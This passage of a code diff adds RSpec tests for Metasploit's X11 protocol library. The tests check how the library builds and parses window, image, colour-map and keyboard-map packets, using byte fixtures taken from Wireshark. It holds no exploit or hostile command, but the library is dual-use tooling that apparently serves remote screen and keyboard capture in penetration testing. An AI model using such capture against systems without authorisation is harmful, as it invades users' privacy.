+"\xba\xba\xba\xba\xba\xba\x00\x00\xbb\xbb\xbb\xbb\xbb\xbb\x00\x00" \ +"\xbc\xbc\xbc\xbc\xbc\xbc\x00\x00\xbd\xbd\xbd\xbd\xbd\xbd\x00\x00" \ +"\xbe\xbe\xbe\xbe\xbe\xbe\x00\x00\xbf\xbf\xbf\xbf\xbf\xbf\x00\x00" \ +"\xc0\xc0\xc0\xc0\xc0\xc0\x00\x00\xc1\xc1\xc1\xc1\xc1\xc1\x00\x00" \ +"\xc2\xc2\xc2\xc2\xc2\xc2\x00\x00\xc3\xc3\xc3\xc3\xc3\xc3\x00\x00" \ +"\xc4\xc4\xc4\xc4\xc4\xc4\x00\x00\xc5\xc5\xc5\xc5\xc5\xc5\x00\x00" \ +"\xc6\xc6\xc6\xc6\xc6\xc6\x00\x00\xc7\xc7\xc7\xc7\xc7\xc7\x00\x00" \ +"\xc8\xc8\xc8\xc8\xc8\xc8\x00\x00\xc9\xc9\xc9\xc9\xc9\xc9\x00\x00" \ +"\xca\xca\xca\xca\xca\xca\x00\x00\xcb\xcb\xcb\xcb\xcb\xcb\x00\x00" \ +"\xcc\xcc\xcc\xcc\xcc\xcc\x00\x00\xcd\xcd\xcd\xcd\xcd\xcd\x00\x00" \ +"\xce\xce\xce\xce\xce\xce\x00\x00\xcf\xcf\xcf\xcf\xcf\xcf\x00\x00" \ +"\xd0\xd0\xd0\xd0\xd0\xd0\x00\x00\xd1\xd1\xd1\xd1\xd1\xd1\x00\x00" \ +"\xd2\xd2\xd2\xd2\xd2\xd2\x00\x00\xd3\xd3\xd3\xd3\xd3\xd3\x00\x00" \ +"\xd4\xd4\xd4\xd4\xd4\xd4\x00\x00\xd5\xd5\xd5\xd5\xd5\xd5\x00\x00" \ +"\xd6\xd6\xd6\xd6\xd6\xd6\x00\x00\xd7\xd7\xd7\xd7\xd7\xd7\x00\x00" \ +"\xd8\xd8\xd8\xd8\xd8\xd8\x00\x00\xd9\xd9\xd9\xd9\xd9\xd9\x00\x00" \ +"\xda\xda\xda\xda\xda\xda\x00\x00\xdb\xdb\xdb\xdb\xdb\xdb\x00\x00" \ +"\xdc\xdc\xdc\xdc\xdc\xdc\x00\x00\xdd\xdd\xdd\xdd\xdd\xdd\x00\x00" \ +"\xde\xde\xde\xde\xde\xde\x00\x00\xdf\xdf\xdf\xdf\xdf\xdf\x00\x00" \ +"\xe0\xe0\xe0\xe0\xe0\xe0\x00\x00\xe1\xe1\xe1\xe1\xe1\xe1\x00\x00" \ +"\xe2\xe2\xe2\xe2\xe2\xe2\x00\x00\xe3\xe3\xe3\xe3\xe3\xe3\x00\x00" \ +"\xe4\xe4\xe4\xe4\xe4\xe4\x00\x00\xe5\xe5\xe5\xe5\xe5\xe5\x00\x00" \ +"\xe6\xe6\xe6\xe6\xe6\xe6\x00\x00\xe7\xe7\xe7\xe7\xe7\xe7\x00\x00" \ +"\xe8\xe8\xe8\xe8\xe8\xe8\x00\x00\xe9\xe9\xe9\xe9\xe9\xe9\x00\x00" \ +"\xea\xea\xea\xea\xea\xea\x00\x00\xeb\xeb\xeb\xeb\xeb\xeb\x00\x00" \ +"\xec\xec\xec\xec\xec\xec\x00\x00\xed\xed\xed\xed\xed\xed\x00\x00" \ +"\xee\xee\xee\xee\xee\xee\x00\x00\xef\xef\xef\xef\xef\xef\x00\x00" \ +"\xf0\xf0\xf0\xf0\xf0\xf0\x00\x00\xf1\xf1\xf1\xf1\xf1\xf1\x00\x00" \ +"\xf2\xf2\xf2\xf2\xf2\xf2\x00\x00\xf3\xf3\xf3\xf3\xf3\xf3\x00\x00" \ +"\xf4\xf4\xf4\xf4\xf4\xf4\x00\x00\xf5\xf5\xf5\xf5\xf5\xf5\x00\x00" \ +"\xf6\xf6\xf6\xf6\xf6\xf6\x00\x00\xf7\xf7\xf7\xf7\xf7\xf7\x00\x00" \ +"\xf8\xf8\xf8\xf8\xf8\xf8\x00\x00\xf9\xf9\xf9\xf9\xf9\xf9\x00\x00" \ +"\xfa\xfa\xfa\xfa\xfa\xfa\x00\x00\xfb\xfb\xfb\xfb\xfb\xfb\x00\x00" \ +"\xfc\xfc\xfc\xfc\xfc\xfc\x00\x00\xfd\xfd\xfd\xfd\xfd\xfd\x00\x00" \ +"\xfe\xfe\xfe\xfe\xfe\xfe\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00" + end + + let(:getcolors_request) do + "\x5b\x02\x02\x01\x02\x00\x80\x02\x00\x00\x00\x00\x01\x01\x01\x00" \ +"\x02\x02\x02\x00\x03\x03\x03\x00\x04\x04\x04\x00\x05\x05\x05\x00" \ +"\x06\x06\x06\x00\x07\x07\x07\x00\x08\x08\x08\x00\x09\x09\x09\x00" \ +"\x0a\x0a\x0a\x00\x0b\x0b\x0b\x00\x0c\x0c\x0c\x00\x0d\x0d\x0d\x00" \ +"\x0e\x0e\x0e\x00\x0f\x0f\x0f\x00\x10\x10\x10\x00\x11\x11\x11\x00" \ +"\x12\x12\x12\x00\x13\x13\x13\x00\x14\x14\x14\x00\x15\x15\x15\x00" \ +"\x16\x16\x16\x00\x17\x17\x17\x00\x18\x18\x18\x00\x19\x19\x19\x00" \ +"\x1a\x1a\x1a\x00\x1b\x1b\x1b\x00\x1c\x1c\x1c\x00\x1d\x1d\x1d\x00" \ +"\x1e\x1e\x1e\x00\x1f\x1f\x1f\x00\x20\x20\x20\x00\x21\x21\x21\x00" \ +"\x22\x22\x22\x00\x23\x23\x23\x00\x24\x24\x24\x00\x25\x25\x25\x00" \ +"\x26\x26\x26\x00\x27\x27\x27\x00\x28\x28\x28\x00\x29\x29\x29\x00" \ +"\x2a\x2a\x2a\x00\x2b\x2b\x2b\x00\x2c\x2c\x2c\x00\x2d\x2d\x2d\x00" \ +"\x2e\x2e\x2e\x00\x2f\x2f\x2f\x00\x30\x30\x30\x00\x31\x31\x31\x00" \ +"\x32\x32\x32\x00\x33\x33\x33\x00\x34\x34\x34\x00\x35\x35\x35\x00" \ +"\x36\x36\x36\x00\x37\x37\x37\x00\x38\x38\x38\x00\x39\x39\x39\x00" \ +"\x3a\x3a\x3a\x00\x3b\x3b\x3b\x00\x3c\x3c\x3c\x00\x3d\x3d\x3d\x00" \ +"\x3e\x3e\x3e\x00\x3f\x3f\x3f\x00\x40\x40\x40\x00\x41\x41\x41\x00" \ +"\x42\x42\x42\x00\x43\x43\x43\x00\x44\x44\x44\x00\x45\x45\x45\x00" \ +"\x46\x46\x46\x00\x47\x47\x47\x00\x48\x48\x48\x00\x49\x49\x49\x00" \ +"\x4a\x4a\x4a\x00\x4b\x4b\x4b\x00\x4c\x4c\x4c\x00\x4d\x4d\x4d\x00" \ +"\x4e\x4e\x4e\x00\x4f\x4f\x4f\x00\x50\x50\x50\x00\x51\x51\x51\x00" \ +"\x52\x52\x52\x00\x53\x53\x53\x00\x54\x54\x54\x00\x55\x55\x55\x00" \ +"\x56\x56\x56\x00\x57\x57\x57\x00\x58\x58\x58\x00\x59\x59\x59\x00" \ +"\x5a\x5a\x5a\x00\x5b\x5b\x5b\x00\x5c\x5c\x5c\x00\x5d\x5d\x5d\x00" \ +"\x5e\x5e\x5e\x00\x5f\x5f\x5f\x00\x60\x60\x60\x00\x61\x61\x61\x00" \ +"\x62\x62\x62\x00\x63\x63\x63\x00\x64\x64\x64\x00\x65\x65\x65\x00" \ +"\x66\x66\x66\x00\x67\x67\x67\x00\x68\x68\x68\x00\x69\x69\x69\x00" \ +"\x6a\x6a\x6a\x00\x6b\x6b\x6b\x00\x6c\x6c\x6c\x00\x6d\x6d\x6d\x00" \ +"\x6e\x6e\x6e\x00\x6f\x6f\x6f\x00\x70\x70\x70\x00\x71\x71\x71\x00" \ +"\x72\x72\x72\x00\x73\x73\x73\x00\x74\x74\x74\x00\x75\x75\x75\x00" \ +"\x76\x76\x76\x00\x77\x77\x77\x00\x78\x78\x78\x00\x79\x79\x79\x00" \ +"\x7a\x7a\x7a\x00\x7b\x7b\x7b\x00\x7c\x7c\x7c\x00\x7d\x7d\x7d\x00" \ +"\x7e\x7e\x7e\x00\x7f\x7f\x7f\x00\x80\x80\x80\x00\x81\x81\x81\x00" \ +"\x82\x82\x82\x00\x83\x83\x83\x00\x84\x84\x84\x00\x85\x85\x85\x00" \ +"\x86\x86\x86\x00\x87\x87\x87\x00\x88\x88\x88\x00\x89\x89\x89\x00" \ +"\x8a\x8a\x8a\x00\x8b\x8b\x8b\x00\x8c\x8c\x8c\x00\x8d\x8d\x8d\x00" \ +"\x8e\x8e\x8e\x00\x8f\x8f\x8f\x00\x90\x90\x90\x00\x91\x91\x91\x00" \ +"\x92\x92\x92\x00\x93\x93\x93\x00\x94\x94\x94\x00\x95\x95\x95\x00" \ +"\x96\x96\x96\x00\x97\x97\x97\x00\x98\x98\x98\x00\x99\x99\x99\x00" \ +"\x9a\x9a\x9a\x00\x9b\x9b\x9b\x00\x9c\x9c\x9c\x00\x9d\x9d\x9d\x00" \ +"\x9e\x9e\x9e\x00\x9f\x9f\x9f\x00\xa0\xa0\xa0\x00\xa1\xa1\xa1\x00" \ +"\xa2\xa2\xa2\x00\xa3\xa3\xa3\x00\xa4\xa4\xa4\x00\xa5\xa5\xa5\x00" \ +"\xa6\xa6\xa6\x00\xa7\xa7\xa7\x00\xa8\xa8\xa8\x00\xa9\xa9\xa9\x00" \ +"\xaa\xaa\xaa\x00\xab\xab\xab\x00\xac\xac\xac\x00\xad\xad\xad\x00" \ +"\xae\xae\xae\x00\xaf\xaf\xaf\x00\xb0\xb0\xb0\x00\xb1\xb1\xb1\x00" \ +"\xb2\xb2\xb2\x00\xb3\xb3\xb3\x00\xb4\xb4\xb4\x00\xb5\xb5\xb5\x00" \ +"\xb6\xb6\xb6\x00\xb7\xb7\xb7\x00\xb8\xb8\xb8\x00\xb9\xb9\xb9\x00" \ +"\xba\xba\xba\x00\xbb\xbb\xbb\x00\xbc\xbc\xbc\x00\xbd\xbd\xbd\x00" \ +"\xbe\xbe\xbe\x00\xbf\xbf\xbf\x00\xc0\xc0\xc0\x00\xc1\xc1\xc1\x00" \ +"\xc2\xc2\xc2\x00\xc3\xc3\xc3\x00\xc4\xc4\xc4\x00\xc5\xc5\xc5\x00" \ +"\xc6\xc6\xc6\x00\xc7\xc7\xc7\x00\xc8\xc8\xc8\x00\xc9\xc9\xc9\x00" \ +"\xca\xca\xca\x00\xcb\xcb\xcb\x00\xcc\xcc\xcc\x00\xcd\xcd\xcd\x00" \ +"\xce\xce\xce\x00\xcf\xcf\xcf\x00\xd0\xd0\xd0\x00\xd1\xd1\xd1\x00" \ +"\xd2\xd2\xd2\x00\xd3\xd3\xd3\x00\xd4\xd4\xd4\x00\xd5\xd5\xd5\x00" \ +"\xd6\xd6\xd6\x00\xd7\xd7\xd7\x00\xd8\xd8\xd8\x00\xd9\xd9\xd9\x00" \ +"\xda\xda\xda\x00\xdb\xdb\xdb\x00\xdc\xdc\xdc\x00\xdd\xdd\xdd\x00" \ +"\xde\xde\xde\x00\xdf\xdf\xdf\x00\xe0\xe0\xe0\x00\xe1\xe1\xe1\x00" \ +"\xe2\xe2\xe2\x00\xe3\xe3\xe3\x00\xe4\xe4\xe4\x00\xe5\xe5\xe5\x00" \ +"\xe6\xe6\xe6\x00\xe7\xe7\xe7\x00\xe8\xe8\xe8\x00\xe9\xe9\xe9\x00" \ +"\xea\xea\xea\x00\xeb\xeb\xeb\x00\xec\xec\xec\x00\xed\xed\xed\x00" \ +"\xee\xee\xee\x00\xef\xef\xef\x00\xf0\xf0\xf0\x00\xf1\xf1\xf1\x00" \ +"\xf2\xf2\xf2\x00\xf3\xf3\xf3\x00\xf4\xf4\xf4\x00\xf5\xf5\xf5\x00" \ +"\xf6\xf6\xf6\x00\xf7\xf7\xf7\x00\xf8\xf8\xf8\x00\xf9\xf9\xf9\x00" \ +"\xfa\xfa\xfa\x00\xfb\xfb\xfb\x00\xfc\xfc\xfc\x00\xfd\xfd\xfd\x00" \ +"\xfe\xfe\xfe\x00\xff\xff\xff\x00" + end + + describe 'creates GET requests for different functions' do + it do + # test against packet pulled from wireshark + request = Rex::Proto::X11::Window::X11GetRequest.read(get_window_attributes) + expect(request.opcode).to eq(3) + expect(request.request_length).to eq(2) + expect(request.window).to eq(1320) + + request = Rex::Proto::X11::Window::X11GetRequest.new( + window: 1320, + opcode: 3, + pad: 3 + ) + expect(request.to_binary_s).to eq(get_window_attributes) + + request = Rex::Proto::X11::Window::X11GetRequest.read(get_geometry) + expect(request.opcode).to eq(14) + expect(request.request_length).to eq(2) + expect(request.window).to eq(1320) + + request = Rex::Proto::X11::Window::X11GetRequest.new( + window: 1320, + opcode: 14, + pad: 4 + ) + expect(request.to_binary_s).to eq(get_geometry) + end + end + + describe 'creates TranslateCoordinates request' do + it do + # test against packet pulled from wireshark + request = Rex::Proto::X11::Window::X11TranslateCoordinatesRequest.read(translate_request) + expect(request.opcode).to eq(40) + expect(request.request_length).to eq(4) + expect(request.src_window).to eq(1320) + expect(request.dst_window).to eq(1320) + expect(request.src_x).to eq(0) + expect(request.src_y).to eq(0) + + request = Rex::Proto::X11::Window::X11TranslateCoordinatesRequest.new( + src_window: 1320, + dst_window: 1320, + opcode: 40, + pad: 3 + ) + expect(request.to_binary_s).to eq(translate_request) + end + end + + describe 'creates QueryTree request' do + it do + # test against packet pulled from wireshark + request = Rex::Proto::X11::Window::X11QueryTreeRequest.read(querytree_request) + expect(request.opcode).to eq(15) + expect(request.request_length).to eq(2) + + request = Rex::Proto::X11::Window::X11QueryTreeRequest.new( + drawable: 1320 + ) + expect(request.to_binary_s).to eq(querytree_request) + end + end + + describe 'handles QueryTree response' do + it do + # test against packet pulled from wireshark + response = Rex::Proto::X11::Window::X11QueryTreeResponse.read(querytree_response) + expect(response.children_len).to eq(72) + expect(response.root_window).to eq(1320) + expect(response.parent_window).to eq(0) + expect(response.children.length).to eq(72) + end + end + + describe 'handles GetWindowAttributes response' do + it do + # test against packet pulled from wireshark + response = Rex::Proto::X11::Window::X11GetWindowAttributeResponse.read(windowattributes_response) + expect(response.depth).to eq(1) + expect(response.visual_id).to eq(4352) + expect(response.class_name).to eq(0) + expect(response.backing_planes).to eq(2162688) + expect(response.backing_pixel).to eq(131072) + end + end + + describe 'handles GetGeometry response' do + it do + # test against packet pulled from wireshark + response = Rex::Proto::X11::Window::X11GetGeometryResponse.read(getgeometry_response) + expect(response.depth).to eq(1) + expect(response.root).to eq(4608) + expect(response.x).to eq(0) + expect(response.y).to eq(10240) + expect(response.width).to eq(5) + expect(response.height).to eq(0) + expect(response.border_width).to eq(0) + end + end + + describe 'creates GetImage request' do + it do + # test against packet pulled from wireshark + request = Rex::Proto::X11::Window::X11GetImageRequest.read(getimage_request) + expect(request.opcode).to eq(73) + expect(request.image_pixmap_format).to eq(2) + expect(request.request_length).to eq(5) + expect(request.drawable).to eq(41943043) + expect(request.x).to eq(0) + expect(request.y).to eq(0) + expect(request.width).to eq(954) + expect(request.height).to eq(21) + expect(request.plane_mask).to eq(4294967295) + + request = Rex::Proto::X11::Window::X11GetImageRequest.new( + x: 0, y: 0, + width: 954, height: 21, + drawable: 41943043 + ) + expect(request.to_binary_s).to eq(getimage_request) + end + end + + describe 'handles GetImage response' do + it do + # test against packet pulled from wireshark + response = Rex::Proto::X11::Window::X11GetImageResponse.read(getimage_response) + expect(response.response_type).to eq(1) + expect(response.depth).to eq(32) + expect(response.sequence_number).to eq(171) + expect(response.response_length).to eq(10_000) + expect(response.visual_id).to eq(1291) + expect(response.image_data.length).to eq(10_000) + end + end + + describe 'creates GetColors request' do + it do + # test against packet pulled from wireshark + request = Rex::Proto::X11::Window::X11GetColorsRequest.read(getcolors_request) + expect(request.opcode).to eq(91) + expect(request.color_map).to eq(41943042) + expect(request.request_length).to eq(258) + expect(request.pixels).to eq([0, 65793, 131586, 197379, 263172, 328965, 394758, 460551, 526344, 592137, 657930, 723723, 789516, 855309, 921102, 986895, 1052688, 1118481, 1184274, 1250067, 1315860, 1381653, 1447446, 1513239, 1579032, 1644825, 1710618, 1776411, 1842204, 1907997, 1973790, 2039583, 2105376, 2171169, 2236962, 2302755, 2368548, 2434341, 2500134, 2565927, 2631720, 2697513, 2763306, 2829099, 2894892, 2960685, 3026478, 3092271, 3158064, 3223857, 3289650, 3355443, 3421236, 3487029, 3552822, 3618615, 3684408, 3750201, 3815994, 3881787, 3947580, 4013373, 4079166, 4144959, 4210752, 4276545, 4342338, 4408131, 4473924, 4539717, 4605510, 4671303, 4737096, 4802889, 4868682, 4934475, 5000268, 5066061, 5131854, 5197647, 5263440, 5329233, 5395026, 5460819, 5526612, 5592405, 5658198, 5723991, 5789784, 5855577, 5921370, 5987163, 6052956, 6118749, 6184542, 6250335, 6316128, 6381921, 6447714, 6513507, 6579300, 6645093, 6710886, 6776679, 6842472, 6908265, 6974058, 7039851, 7105644, 7171437, 7237230, 7303023, 7368816, 7434609, 7500402, 7566195, 7631988, 7697781, 7763574, 7829367, 7895160, 7960953, 8026746, 8092539, 8158332, 8224125, 8289918, 8355711, 8421504, 8487297, 8553090, 8618883, 8684676, 8750469, 8816262, 8882055, 8947848, 9013641, 9079434, 9145227, 9211020, 9276813, 9342606, 9408399, 9474192, 9539985, 9605778, 9671571, 9737364, 9803157, 9868950, 9934743, 10000536, 10066329, 10132122, 10197915, 10263708, 10329501, 10395294, 10461087, 10526880, 10592673, 10658466, 10724259, 10790052, 10855845, 10921638, 10987431, 11053224, 11119017, 11184810, 11250603, 11316396, 11382189, 11447982, 11513775, 11579568, 11645361, 11711154, 11776947, 11842740, 11908533, 11974326, 12040119, 12105912, 12171705, 12237498, 12303291, 12369084, 12434877, 12500670, 12566463, 12632256, 12698049, 12763842, 12829635, 12895428, 12961221, 13027014, 13092807, 13158600, 13224393, 13290186, 13355979, 13421772, 13487565, 13553358, 13619151, 13684944, 13750737, 13816530, 13882323, 13948116, 14013909, 14079702, 14145495, 14211288, 14277081, 14342874, 14408667, 14474460, 14540253, 14606046, 14671839, 14737632, 14803425, 14869218, 14935011, 15000804, 15066597, 15132390, 15198183, 15263976, 15329769, 15395562, 15461355, 15527148, 15592941, 15658734, 15724527, 15790320, 15856113, 15921906, 15987699, 16053492, 16119285, 16185078, 16250871, 16316664, 16382457, 16448250, 16514043, 16579836, 16645629, 16711422, 16777215]) + + request = Rex::Proto::X11::Window::X11GetColorsRequest.new( + color_map: 41943042, + pixels: [0, 65793, 131586, 197379, 263172, 328965, 394758, 460551, 526344, 592137, 657930, 723723, 789516, 855309, 921102, 986895, 1052688, 1118481, 1184274, 1250067, 1315860, 1381653, 1447446, 1513239, 1579032, 1644825, 1710618, 1776411, 1842204, 1907997, 1973790, 2039583, 2105376, 2171169, 2236962, 2302755, 2368548, 2434341, 2500134, 2565927, 2631720, 2697513, 2763306, 2829099, 2894892, 2960685, 3026478, 3092271, 3158064, 3223857, 3289650, 3355443, 3421236, 3487029, 3552822, 3618615, 3684408, 3750201, 3815994, 3881787, 3947580, 4013373, 4079166, 4144959, 4210752, 4276545, 4342338, 4408131, 4473924, 4539717, 4605510, 4671303, 4737096, 4802889, 4868682, 4934475, 5000268, 5066061, 5131854, 5197647, 5263440, 5329233, 5395026, 5460819, 5526612, 5592405, 5658198, 5723991, 5789784, 5855577, 5921370, 5987163, 6052956, 6118749, 6184542, 6250335, 6316128, 6381921, 6447714, 6513507, 6579300, 6645093, 6710886, 6776679, 6842472, 6908265, 6974058, 7039851, 7105644, 7171437, 7237230, 7303023, 7368816, 7434609, 7500402, 7566195, 7631988, 7697781, 7763574, 7829367, 7895160, 7960953, 8026746, 8092539, 8158332, 8224125, 8289918, 8355711, 8421504, 8487297, 8553090, 8618883, 8684676, 8750469, 8816262, 8882055, 8947848, 9013641, 9079434, 9145227, 9211020, 9276813, 9342606, 9408399, 9474192, 9539985, 9605778, 9671571, 9737364, 9803157, 9868950, 9934743, 10000536, 10066329, 10132122, 10197915, 10263708, 10329501, 10395294, 10461087, 10526880, 10592673, 10658466, 10724259, 10790052, 10855845, 10921638, 10987431, 11053224, 11119017, 11184810, 11250603, 11316396, 11382189, 11447982, 11513775, 11579568, 11645361, 11711154, 11776947, 11842740, 11908533, 11974326, 12040119, 12105912, 12171705, 12237498, 12303291, 12369084, 12434877, 12500670, 12566463, 12632256, 12698049, 12763842, 12829635, 12895428, 12961221, 13027014, 13092807, 13158600, 13224393, 13290186, 13355979, 13421772, 13487565, 13553358, 13619151, 13684944, 13750737, 13816530, 13882323, 13948116, 14013909, 14079702, 14145495, 14211288, 14277081, 14342874, 14408667, 14474460, 14540253, 14606046, 14671839, 14737632, 14803425, 14869218, 14935011, 15000804, 15066597, 15132390, 15198183, 15263976, 15329769, 15395562, 15461355, 15527148, 15592941, 15658734, 15724527, 15790320, 15856113, 15921906, 15987699, 16053492, 16119285, 16185078, 16250871, 16316664, 16382457, 16448250, 16514043, 16579836, 16645629, 16711422, 16777215], + pad0: 2 + ) + expect(request.to_binary_s).to eq(getcolors_request) + end + end + + describe 'handles GetColors response' do + it do + # test against packet pulled from wireshark + response = Rex::Proto::X11::Window::X11GetColorsResponse.read(getcolors_response) + expect(response.response_type).to eq(1) + expect(response.sequence).to eq(163) + expect(response.response_length).to eq(512) + expect(response.colors_len).to eq(256) + expect(response.colors.length).to eq(256) + end + end +end diff --git a/spec/lib/rex/proto/x11/xkeyboard.rb b/spec/lib/rex/proto/x11/xkeyboard.rb new file mode 100644 index 000000000000..9321841d2746 --- /dev/null +++ b/spec/lib/rex/proto/x11/xkeyboard.rb @@ -0,0 +1,908 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::X11::Xkeyboard do + subject do + mod = ::Msf::Exploit.new + mod.extend described_class + + mod.send(:initialize) + mod + end + + let(:get_keyboardmap_resp) do + "\x01\x03\x07\x00\x47\x05\x00\x00\x00\x00\x08\xff\x07\x00\x00\x1c" \ + "\x1c\x08\x6f\x01\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08" \ + "\xf8\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" \ + "\x01\x01\x00\x00\x02\x01\x00\x00\x01\x01\x01\x01\x00\x00\x00\x00" \ + "\x03\x03\x00\x00\x02\x02\x00\x00\x01\x01\x01\x01\x00\x00\x00\x00" \ + "\x01\x02\x01\x02\x00\x00\x00\x00\x11\x01\x01\x00\x02\x01\x00\x00" \ + "\x01\x10\x01\x00\x01\x00\x00\x00\x09\x01\x02\x00\x02\x01\x00\x00" \ + "\x01\x09\x01\x01\x02\x00\x00\x00\x40\x40\x00\x00\x02\x01\x00\x00" \ + "\x01\x40\x01\x40\x00\x00\x00\x00\x04\x04\x00\x00\x02\x01\x00\x00" \ + "\x01\x04\x01\x04\x00\x00\x00\x00\x00\x00\x40\x00\x02\x01\x00\x00" \ + "\x00\x00\x01\x00\x40\x00\x00\x00\x00\x00\x20\x00\x02\x01\x00\x00" \ + "\x00\x00\x01\x00\x20\x00\x00\x00\x08\x00\x02\x00\x02\x01\x00\x00" \ + "\x01\x08\x01\x00\x02\x00\x00\x00\x00\x00\x08\x00\x02\x01\x00\x00" \ + "\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00\x10\x00\x02\x01\x00\x00" \ + "\x00\x00\x01\x00\x10\x00\x00\x00\x8d\x05\x06\x00\x05\x04\x01\x00" \ + "\x01\x01\x01\x01\x00\x00\x00\x00\x01\x80\x02\x00\x04\x00\x00\x00" \ + "\x01\x81\x03\x01\x04\x00\x00\x00\x01\x0c\x04\x04\x02\x00\x00\x00" \ + "\x01\x01\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00" \ + "\x87\x07\x04\x00\x08\x0f\x00\x00\x01\x03\x00\x03\x00\x00\x00\x00" \ + "\x01\x01\x01\x01\x00\x00\x00\x00\x01\x02\x01\x02\x00\x00\x00\x00" \ + "\x01\x80\x02\x00\x04\x00\x00\x00\x01\x83\x02\x03\x04\x00\x00\x00" \ + "\x01\x81\x03\x01\x04\x00\x00\x00\x01\x82\x03\x02\x04\x00\x00\x00" \ + "\x01\x04\x04\x04\x00\x00\x00\x00\x01\x07\x04\x07\x00\x00\x00\x00" \ + "\x01\x05\x05\x05\x00\x00\x00\x00\x01\x06\x05\x06\x00\x00\x00\x00" \ + "\x01\x84\x06\x04\x04\x00\x00\x00\x01\x87\x06\x07\x04\x00\x00\x00" \ + "\x01\x85\x07\x05\x04\x00\x00\x00\x01\x86\x07\x06\x04\x00\x00\x00" \ + "\x81\x01\x04\x00\x03\x03\x00\x00\x01\x01\x01\x01\x00\x00\x00\x00" \ + "\x01\x80\x02\x00\x04\x00\x00\x00\x01\x81\x02\x01\x04\x00\x00\x00" \ + "\x81\x01\x04\x01\x08\x07\x00\x00\x01\x01\x01\x01\x00\x00\x00\x00" \ + "\x01\x80\x02\x00\x04\x00\x00\x00\x01\x81\x03\x01\x04\x00\x00\x00" \ + "\x00\x00\x04\x00\x00\x01\x00\x00\x00\x01\x05\x01\x00\x01\x00\x00" \ + "\x01\x80\x06\x00\x04\x01\x00\x00\x01\x81\x07\x01\x04\x01\x00\x00" \ + "\x83\x03\x04\x01\x08\x0d\x00\x00\x01\x01\x01\x01\x00\x00\x00\x00" \ + "\x01\x02\x01\x02\x00\x00\x00\x00\x01\x80\x02\x00\x04\x00\x00\x00" \ + "\x01\x81\x03\x01\x04\x00\x00\x00\x01\x82\x03\x02\x04\x00\x00\x00" \ + "\x01\x83\x02\x03\x04\x00\x00\x00\x00\x00\x04\x00\x00\x01\x00\x00" \ + "\x00\x01\x05\x01\x00\x01\x00\x00\x00\x02\x05\x02\x00\x01\x00\x00" \ + "\x01\x80\x06\x00\x04\x01\x00\x00\x01\x81\x07\x01\x04\x01\x00\x00" \ + "\x01\x82\x07\x02\x04\x01\x00\x00\x01\x83\x06\x03\x04\x01\x00\x00" \ + "\x93\x03\x05\x01\x08\x1c\x01\x00\x01\x01\x01\x01\x00\x00\x00\x00" \ + "\x01\x80\x02\x00\x04\x00\x00\x00\x01\x81\x03\x01\x04\x00\x00\x00" \ + "\x00\x00\x04\x00\x00\x01\x00\x00\x00\x01\x05\x01\x00\x01\x00\x00" \ + "\x01\x80\x06\x00\x04\x01\x00\x00\x01\x81\x07\x01\x04\x01\x00\x00" \ + "\x01\x10\x04\x00\x01\x00\x00\x00\x01\x11\x05\x01\x01\x00\x00\x00" \ + "\x01\x90\x06\x00\x05\x00\x00\x00\x01\x91\x07\x01\x05\x00\x00\x00" \ + "\x01\x11\x01\x01\x01\x01\x00\x00\x01\x90\x02\x00\x05\x01\x00\x00" \ + "\x01\x91\x03\x01\x05\x01\x00\x00\x01\x03\x01\x03\x00\x00\x00\x00" \ + "\x01\x82\x02\x02\x04\x00\x00\x00\x01\x83\x03\x03\x04\x00\x00\x00" \ + "\x00\x02\x04\x02\x00\x01\x00\x00\x00\x03\x05\x03\x00\x01\x00\x00" \ + "\x01\x82\x06\x02\x04\x01\x00\x00\x01\x83\x07\x03\x04\x01\x00\x00" \ + "\x01\x12\x04\x02\x01\x00\x00\x00\x01\x13\x05\x03\x01\x00\x00\x00" \ + "\x01\x92\x06\x02\x05\x00\x00\x00\x01\x93\x07\x03\x05\x00\x00\x00" \ + "\x01\x13\x01\x03\x01\x01\x00\x00\x01\x92\x02\x02\x05\x01\x00\x00" \ + "\x01\x93\x03\x03\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x93\x03\x05\x01\x08\x1c\x01\x00" \ + "\x01\x01\x01\x01\x00\x00\x00\x00\x01\x80\x02\x00\x04\x00\x00\x00" \ + "\x01\x81\x03\x01\x04\x00\x00\x00\x00\x00\x04\x00\x00\x01\x00\x00" \ + "\x00\x01\x05\x01\x00\x01\x00\x00\x01\x80\x06\x00\x04\x01\x00\x00" \ + "\x01\x81\x07\x01\x04\x01\x00\x00\x01\x10\x04\x00\x01\x00\x00\x00" \ + "\x01\x11\x05\x01\x01\x00\x00\x00\x01\x90\x06\x00\x05\x00\x00\x00" \ + "\x01\x91\x07\x01\x05\x00\x00\x00\x01\x11\x01\x01\x01\x01\x00\x00" \ + "\x01\x90\x02\x00\x05\x01\x00\x00\x01\x91\x03\x01\x05\x01\x00\x00" \ + "\x01\x02\x01\x02\x00\x00\x00\x00\x01\x82\x02\x02\x04\x00\x00\x00" \ + "\x01\x83\x03\x03\x04\x00\x00\x00\x00\x02\x04\x02\x00\x01\x00\x00" \ + "\x00\x03\x05\x03\x00\x01\x00\x00\x01\x82\x06\x02\x04\x01\x00\x00" \ + "\x01\x83\x07\x03\x04\x01\x00\x00\x01\x12\x04\x02\x01\x00\x00\x00" \ + "\x01\x13\x05\x03\x01\x00\x00\x00\x01\x92\x06\x02\x05\x00\x00\x00" \ + "\x01\x93\x07\x03\x05\x00\x00\x00\x01\x12\x01\x02\x01\x01\x00\x00" \ + "\x01\x92\x03\x02\x05\x01\x00\x00\x01\x93\x02\x03\x05\x01\x00\x00" \ + 